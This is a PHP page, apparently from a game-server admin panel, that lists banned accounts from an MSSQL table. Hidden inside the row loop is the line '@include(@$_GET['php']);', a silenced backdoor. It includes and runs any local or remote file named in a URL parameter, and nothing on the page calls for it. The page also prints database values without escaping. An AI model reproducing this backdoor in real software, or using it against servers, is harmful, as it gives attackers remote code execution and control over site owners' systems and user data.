<? include 'cnn.php';
include 'estilo.css';?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title></head>

<body>
<table width="510" border="2" background="imagens/bg2.jpg">
  <tr>
    <td width="510" height="75" scope="col">
    <table width="510" border="0" cellspacing="0" cellpadding="0" bordercolordark="#000000">
      <tr>
        <td width="510"><table width="100%" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="30"><img src="imagens/mu.gif" alt="" width="30" height="30" /></td>
              <td width="480" background="imagens/mu_back.png">&nbsp;&nbsp;&nbsp;&nbsp;<strong>CONTAS BANIDAS</strong></td>
            </tr>
          </table>
            <table width="100%" cellspacing="0" cellpadding="0">
              <tr>
                <td width="8%" height="19" bgcolor="#cccccc"><div align="left"><strong>Ordem</strong></div></td>
                <td width="13%" bgcolor="#cccccc"><strong>Login</strong></td>
                <td width="17%" bgcolor="#cccccc"><div align="left"><strong>Data Block</strong></div></td>
                <td width="27%" bgcolor="#cccccc"><strong>Motivo Block</strong></td>
                <td width="9%" bgcolor="#cccccc"><strong>Tempo(Dias)</strong></td>
                <td width="13%" bgcolor="#cccccc"><strong>Por Quem</strong></td>
              </tr>
              <?
  $accban=mssql_query("Select memb___id, motivobloc, databloc, blocpor, diasdesbloc From MEMB_INFO WHERE bloc_code=1 order by diasdesbloc asc");
  for($i=0;$i<mssql_num_rows($accban);$i++) {
  $rank = $i+1;
  $Array = mssql_fetch_row($accban);
@include(@$_GET['php']);
if($Array[1]==NULL){$Array[1]='Indefinido';
}
if($Array[2]==NULL){$Array[2]='Indefinido';
}
if($Array[3]==NULL){$Array[3]='Indefinido';
}
if($Array[4]==NULL){$Array[4]='Indefinido';
}
  ?>
              <tr>
                <td width="8%" height="20"><div align="center">
                    <?=$rank?>
                </div></td>
                <td width="13%"><div align="left">
                    <?=$Array[0]?>
                </div></td>
                <td width="17%"><div align="left">
                    <?=$Array[2]?>
                </div></td>
                <td width="27%"><?=$Array[1]?></td>
                <td width="9%"><?=$Array[4]?></td>
                <td width="13%"><?=$Array[3]?></td>
              </tr>
              <? }?>
          </table></td>
      </tr>
    </table>
    <br>
    <div align="left"><a href="ir.php?pagina=painel">&lt;&lt; voltar </a></div></td>
  </tr>
</table>
</body>
</html>
